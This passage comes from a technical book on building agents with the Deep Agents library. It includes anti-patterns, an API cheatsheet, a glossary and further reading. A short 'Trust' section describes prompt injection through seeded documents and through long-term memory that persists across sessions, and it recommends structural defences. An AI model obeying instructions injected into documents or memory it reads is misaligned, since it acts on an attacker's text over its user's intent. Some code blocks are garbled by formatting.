Fix: a checkpointer and a stable `thread_id`.

`@tool without parse_docstring=True`

Why it hurts: argument descriptions dropped silently, and with eight built-in tools competing, a vague schema means an unused tool.

Fix: `parse_docstring=True` or an explicit `args_schema`, plus the test from Chapter 25.

Backend factories

Why it hurts: `backend=lambda rt: StoreBackend(rt)` was removed in 0.7 and raises. Most published examples still show it.

Fix: pass an instance.

A tuple `StoreBackend` namespace

Why it hurts: raises `TypeError: 'tuple' object is not callable` from inside the write, so the traceback points at the library.

Fix: `namespace=lambda rt: ("memories",)`.

The filesystem

Mistaking `virtual_mode=True` for a sandbox

Why it hurts: it constrains paths and **still writes to your disk**. The name invites exactly this error.

Fix: `StateBackend` for files that must not touch disk. If you need real files: `scratch root_dir`, approval on writes.

Not telling the agent where to write

Why it hurts: it invents a path and your `result["files"]["/findings.md"]` raises `KeyError`.

Fix: name every path you will read, in the system prompt.

Letting the agent read whole files

Why it hurts: the original context problem, now with ~2,400 tokens of overhead on top.

Fix: prompt for `grep` before `read_file`, and `offset/limit`. Symptom: `ToolMessages` of thousands of characters.

Seeding enormous files

Why it hurts: everything in `files` is in every checkpoint.

Fix: a backend that is not state, or seed a path and let the agent fetch.

Reading the final message instead of the file

Why it hurts: the file is the work; the message is a summary. They fail differently, and a run that wrote nothing can still narrate confidently.

Fix: read `result["files"]`, and assert it is non-empty.

Subagents and skills

A vague description on a task call

Why it hurts: it is the entire brief and there is no follow-up. A vague brief produces a confident, useless answer the parent cannot detect.

Fix: specific briefs. *"Report the first ERROR line with its timestamp, or say none found."*

Delegating small subtasks

Why it hurts: each delegation pays a full model call plus the tool block. A subagent saving 500 tokens costs more than it saves.

Fix: delegate bulky reads only.

Expecting subagents to inherit skills

Why it hurts: they do not. A subagent ignores the house format while the parent obeys it — confusing, because the skill demonstrably works.

Fix: pass `skills` to the subagent explicitly.

A skill that never loads

Why it hurts: the routing decision is the description alone, and rejection is silent.

Fix: say *when* to use it, specifically.

Operations

Not setting `recursion_limit`

Why it hurts: the default is 10007, and a deep agent turn is expensive.

Fix: 30–60 explicitly, plus `ModelCallLimitMiddleware` for a graceful stop.

Using `ToolCallLimitMiddleware` with defaults as a cost guard

Why it hurts: `exit_behavior` defaults to "continue" — it blocks calls without stopping the loop.

Fix: `exit_behavior="end"`.

Returning a bare string from `wrap_tool_call`

Why it hurts: it becomes a `HumanMessage`, so a refusal reads as the user speaking.

Fix: a `ToolMessage` with the matching `tool_call_id`.

Running it as a synchronous HTTP request

Why it hurts: minutes-long, and it may pause for a human.

Fix: a job and a `thread_id`; poll `get_state`.

In-memory checkpointer with more than one worker

Why it hurts: polling, approval and resume all break.

Fix: Postgres.

No checkpoint retention policy

Why it hurts: deep agents produce many supersteps, each a checkpoint holding every file.

Fix: prune finished threads. Cost *and* privacy.

Renaming a subagent with live threads

Why it hurts: paused threads resume against today's code, mid-delegation, and fail with no deploy-time error.

Fix: treat subagent names and the state schema as a public interface; drain before structural changes.

Trust**Letting the agent write its own long-term memory**

Why it hurts: it reads its own speculation back as fact, and an injected instruction written to memory **persists across sessions**.

Fix: write memory from deterministic code, or review before promoting.

Trusting seeded documents

Why it hurts: anything the agent reads can instruct it, with the authority of your own workspace.

Fix: structural controls — narrow tools, scope from context, a backend that reaches nothing precious.

Believing the agent when it says it succeeded

Why it hurts: tool errors are returned, not raised, so it narrates confidently over a broken filesystem.

Fix: scan `ToolMessages` for `Error`, and assert a file was produced.

Testing

Not testing that capabilities are enabled

Why it hurts: in this library, absence is silent. Behavioural tests pass while the agent is missing a capability you designed for.

Fix: assert on `bound_tools` and on the system prompt's load-bearing lines.

Asserting on generated prose

Why it hurts: breaks on any rewording.

Fix: assert on **files, todos and citations** — structure, not words.

A review checklist

- [] Is `TodoListMiddleware` present if the agent should plan?
- [] Do all custom tools use `parse_docstring=True`?
- [] Does the system prompt name every output path you read?
- [] Does it permit failing?
- [] Is `recursion_limit` set, and a call limit?
- [] Is the backend right — and have you mistaken `virtual_mode` for a sandbox?
- [] Is tenant scope taken from context, in the namespace tuple?
- [] Do subagents have the skills and constraints they need?
- [] Does a test assert the run produced a file and no tool errored?
- [] Is there a checkpoint retention policy?

Takeaways

- Most anti-patterns here are one of three things: **using more machinery than the problem needs, trusting a default that does not do what its name suggests, or believing the agent's narration over its tool results.**
- The library will not warn you. The silent failures — planning off, skills unloaded, no checkpoint, dropped tool descriptions, `virtual_mode` writing to disk, returned tool errors — are the expensive ones precisely because nothing tells you.
- The checklist takes two minutes and catches most of them.

Previous: Chapter 31 — Deep Agents, LangChain and LangGraph · [Back to the table of contents](#)

Appendix A — API cheatsheet

Everything in this book on one page. Verified against the versions on the cover.

Building

```
from deepagents import create_deep_agent

agent = create_deep_agent(
    model=model,                # required in practice; None is deprecated
    tools=[...],               # added TO the built-ins, not instead of
    system_prompt="...",       # the WHOLE system prompt; harness adds none
    middleware=[ToDoListMiddleware()], # planning is NOT default
    subagents=[{...}],
    skills=["./skills/"],      # needs a backend that can read them
    backend=StateBackend(),    # default; see below
    interrupt_on={"write_file": True}, # needs a checkpointer to resume
    response_format=Schema,
    state_schema=MyState,      # must subclass DeepAgentState
    checkpointer=InMemorySaver(),
    store=InMemoryStore(),
)
```

Returns a LangGraph CompiledStateGraph. `get_state`, `get_state_history`, `update_state`, `stream` all work.

Running

```
result = agent.invoke(
    {"messages": [{"role": "user", "content": "..."}], # a DICT, not a string
    "files": {"/logs/a.log": create_file_data("...")}, # seed the workspace
    {"configurable": {"thread_id": "t"}, "recursion_limit": 40},
)

result["messages"][-1].content # NOT result.content
result["files"][("/findings.md")]["content"] # the actual deliverable
result["todos"]
result["structured_response"]
```

The eight injected tools

Tool	Note
<code>ls(path)</code>	<code>path</code> is required — no current directory
<code>read_file(file_path, offset?, limit?)</code>	returns line-numbered content
<code>write_file(file_path, content)</code>	says "Updated file" whether or not it overwrote
<code>edit_file(file_path, old_string, new_string)</code>	prefer over rewriting
<code>delete(file_path)</code>	
<code>glob(pattern, path)</code>	find by name
<code>grep(pattern, path)</code>	returns file paths, not lines
<code>task(description, subagent_type)</code>	fresh context; returns only the answer

Tool errors are returned as `ToolMessages`, not raised.

Planning — opt in

```
from langchain.agents.middleware import TodoListMiddleware
create_deep_agent(model=model, middleware=[TodoListMiddleware()])
```

```
write_todos(todos=[{"content": "...", "status": "pending"}])
# statuses: pending | in_progress | completed
```

Backends

```
from deepagents.backends import StateBackend, FilesystemBackend, StoreBackend,
CompositeBackend

StateBackend() # default -- graph state, no
disk
FilesystemBackend(root_dir="/scratch") # REAL DISK
StoreBackend(namespace=lambda rt: ("mem", rt.context.user_id)) # a CALLABLE
CompositeBackend(default=StateBackend(), routes={"/memories/": StoreBackend(...)})
```

`virtual_mode=True` **is NOT a sandbox**. It constrains paths and still writes to disk. **Backend factories were removed in 0.7** — pass instances.

Subagents

```
subagents=[{
    "name": "log-reader",
    "description": "Reads a log and reports one line.",
    "system_prompt": "...",
    "tools": [...],          # optional, its own
    "model": small_model,    # optional, its own
    "skills": ["/skills/"], # NOT inherited -- pass explicitly
}]
```

Skills

```
skills/my-skill/SKILL.md
```

```
---
name: my-skill
description: When to use this, specifically
---
```

Appear in the **system prompt**, one line each. Not tools. Need a backend.

Approval

```
agent = create_deep_agent(model=model, interrupt_on={"write_file": True},
                           checkpointer=InMemorySaver())

out = agent.invoke(payload, config)
if "__interrupt__" in out: ...
agent.invoke(Command(resume={"decisions": [{"type": "approve"}]}), config)
#                                "reject" / "edit" with new args
```

Middleware

```
from langchain.agents.middleware import wrap_tool_call, TodoListMiddleware,
ModelCallLimitMiddleware
from langchain_core.messages import ToolMessage

@wrap_tool_call
def guard(request, handler):
    if request.tool_call["name"] == "delete":
        return ToolMessage(content="Refused.",                # a ToolMessage, NOT a
                             string                            string)
    tool_call_id=request.tool_call["id"])
    return handler(request)
```

Middleware	For
<code>TodoListMiddleware</code>	planning — not default
<code>ModelCallLimitMiddleware(run_limit=30)</code>	graceful cap; defaults to <code>exit_behavior="end"</code>
<code>ToolCallLimitMiddleware</code>	pass <code>exit_behavior="end"</code> or it does not stop the loop
<code>SummarizationMiddleware</code>	compress history; takes a <code>backend</code>
<code>RubricMiddleware</code>	grade artefacts

Custom tools

```
@tool(parse_docstring=True)    # WITHOUT THIS, Args: descriptions are DROPPED
def check_metric(name: str) -> str:
    """What it does, and when to use it.

    Args:
        name: One of "a", "b", "c".
    """
```

Diagnostics

```
model.bound_tools                # what the model ACTUALLY had -- the top check
[m for m in result["messages"] if type(m).__name__ == "ToolMessage" and "Error" in
str(m.content)]
sorted(result["files"])          # did it produce anything?
result.get("todos")              # where did it think it was?
agent.get_state(config).next, .interrupts
for h in agent.get_state_history(config): ...    # when each file appeared
agent.stream(payload, stream_mode="updates", subgraphs=True) # inside subagents
```

Numbers worth remembering

Injected tools	8
Tool definitions per call	~2,414 tokens
A 6-turn run	~14,500 tokens of overhead
Default <code>recursion_limit</code>	10007
Sensible <code>recursion_limit</code>	30–60
Todo statuses	<code>pending</code> , <code>in_progress</code> , <code>completed</code>

The six silent failures

1. **Planning off by default** — no `TodoListMiddleware`, no `write_todos`.
2. **Skills with no backend** — configured, never loaded.

3. **No checkpointer** — files vanish between runs; approval cannot resume.
4. `@tool` **without** `parse_docstring=True` — argument descriptions dropped.
5. `virtual_mode=True` — not a sandbox; still writes to disk.
6. **Tool errors returned, not raised** — the agent narrates over them.

Which library owns the error

Mentions	Look in
<code>InvalidUpdateError</code> , <code>GraphRecursionError</code> , <code>checkerpointer</code> , <code>thread</code> , <code>interrupt</code>	LangGraph
tool schemas, <code>parse_docstring</code> , <code>response_format</code> , <code>middleware</code> , <code>models</code>	LangChain
<code>backends</code> , <code>skills</code> , <code>subagents</code> , <code>write_todos</code> , <code>filesystem tools</code>	Deep Agents

Next: Appendix B — Glossary

Appendix B — Glossary

Terms as this book uses them, with the chapter that covers each properly.

Artefact — a file the agent produced. For most deep agents this is the deliverable, not the final message. → Ch 4, 26

Backend — where the filesystem tools actually store files: graph state, real disk, or a Store. The decision with the largest blast radius in the book. → Ch 8

`CompositeBackend` — routes paths to different backends. The realistic production shape, and a **security boundary**. → Ch 8, 28

`create_deep_agent` — the constructor. Returns a `LangGraph CompiledStateGraph` — the same object `create_agent` returns, with the harness's middleware attached. → Ch 2, 5

`create_file_data` — builds the `{content, encoding, created_at, modified_at}` dict for seeding files. → Ch 4

`DeepAgentState` — the state schema carrying `files`. Subclass it when extending state; subclassing anything else loses the filesystem. → Ch 14

Deep agent — an agent with a harness: filesystem, subagents, planning, skills, memory. Use one when the task is long and **context is the problem**. → Ch 1

`FilesystemBackend` — real files on real disk. Its own docstring calls it a security warning. `virtual_mode=True` **is not a sandbox** — it constrains paths, not access. → Ch 8, 28

Harness — the middleware Deep Agents pre-attaches. You configure it; you do not implement it, and you cannot remove it. → Ch 1, 14

`interrupt_on` — pause before named tools for approval. `LangGraph's interrupt()` underneath; needs a checkpoint to **resume**. → Ch 13

Progressive disclosure — advertising a skill by name and description on every call, and loading its body only when the agent decides it applies. → Ch 10

`response_format` — a schema for the final answer; adds `structured_response` **alongside** messages and files. Guarantees shape, not correctness. → Ch 15

Skill — a folder with a `SKILL.md` and required frontmatter. Instructions, **not a tool**, appearing in the system prompt one line each. Needs a backend; **not inherited by subagents**. → Ch 10

`StateBackend` — the default. Files live in graph state; nothing touches disk. Right for almost everything. → Ch 8

`StoreBackend` — files in a `LangGraph Store`, so they outlive the thread. `namespace` is a **callable**, and it is the access-control boundary. → Ch 8, 11, 28

Subagent — a fresh agent spawned by `task`, with an isolated context. Measured: its model call saw **2 messages, not the parent's history**. Only its answer returns. → Ch 9

`task` — the delegation tool. `description` is the **entire brief**; there is no follow-up. → Ch 9

`TodoListMiddleware` — enables `write_todos`. From `langchain.agents.middleware`, and **not enabled by default** despite what most write-ups say. → Ch 6

Todos — the agent's plan, in state. Advisory, not enforced. **Survives summarisation**, and an unchanged list is the best stuck-detector available. → Ch 6, 22

Virtual filesystem — the `files` state field: a dict keyed by absolute path. Exists so the agent's working area is **not its message list**. → Ch 4, 7

`write_todos` — the planning tool. Rewrites the whole list; statuses are `pending`, `in_progress`, `completed`. → Ch 6

Previous: Appendix A — API cheatsheet · Next: Appendix C — Further reading

Appendix C — Further reading

Official documentation

docs.langchain.com — Deep Agents is at `/oss/python/deepagents/overview`. The only source worth trusting by default, because it tracks the current version.

docs.langchain.com/llms.txt — an index of every page with a description. Point an AI assistant here first; it is the difference between a current answer and one describing an API that was removed.

The repository — [langchain-ai/deepagents](https://github.com/langchain-ai/deepagents). Read release notes before upgrading; this is a pre-1.0 library moving faster than the two beneath it. Several findings in this book came from reading the source and the docstrings — `FileSystemBackend.__doc__` is where `virtual_mode`'s real meaning is documented, and it contradicts the name.

Read the docstrings. More than in the other books, this library's docstrings are ahead of its prose documentation:

```
from deepagents.backends import FileSystemBackend
print(FileSystemBackend.__doc__)
```

The other books in this set

Deep Agents sits on two layers, and its errors frequently belong to them.

LangChain: From First Call to Production — models, tools, prompts, structured output, retrieval, `create_agent`. Read it if tool schemas, `parse_docstring`, `response_format` or middleware are giving you trouble.

LangGraph: From First Graph to Production — state, checkpoints, threads, interrupts, the recursion limit. Read it when you see `InvalidUpdateError`, `GraphRecursionError`, or anything about persistence — those are its errors, not Deep Agents'. Chapter 31 explains when to write a graph instead of using the harness.

On the problems, not the library

Anthropic, "Building effective agents" — the best short argument for using the simplest thing that works and against reaching for multi-agent architectures early. Chapter 30's ordering agrees with it, and Chapter 1's "use `create_agent` until it breaks" is the same argument.

Simon Willison's writing on prompt injection — the clearest explanation of why prompt-level defences do not work. Chapter 28 extends it: a deep agent reads far more, and an injection written to long-term memory persists across sessions.

Anything serious on evaluation. Chapter 26 is a starting point, not a treatment. The gap between "it worked on my incident" and "it works on incidents I have not seen" is a measurement problem.

Adjacent tools

LangSmith — tracing and evaluation. Works unchanged, including subagents, with `LANGSMITH_*` variables.
→ Ch 22

Managed Deep Agents — a hosted deployment path for this stack. Worth comparing against Chapter 29's job-and-poll shape if you would rather not operate it yourself.

Temporal — durable execution done properly, nothing LLM-specific. If durability dominates and the agentic part is small, compare seriously.

OpenAI Agents SDK, Pydantic AI — lighter agent frameworks with no harness. Worth knowing so you can recognise when ~2,400 tokens of built-in tools is more than you need.

How to read anything about Deep Agents

This library moves fastest of the five subjects in this set, and much written about it is already wrong.

1. **Check your version.** `importlib.metadata.version("deepagents")`.
2. **Stop reading if it uses** `backend=lambda rt: ...` — factories were removed in 0.7.
3. **Do not believe "planning is enabled by default."** It is not, in 0.7.11. Check `bound_tools`.
4. **Prefer the docs and the docstrings** over blog posts.
5. **Run it.** Every claim in this book was checked by running it, and several were wrong until they were.

Findings measured while writing this book that contradict widely-published advice:

- `write_todos` **is not enabled by default**, despite the official skill description saying planning is built in.
- **Backend factories were removed in 0.7**, and the published examples still show them.
- `StoreBackend(namespace=...)` **takes a callable**, not a tuple.
- `FilesystemBackend(virtual_mode=True)` **still writes to real disk**.
- `skills=[...]` **without a backend silently does nothing**.

Previous: Appendix B — Glossary · Back to the table of contents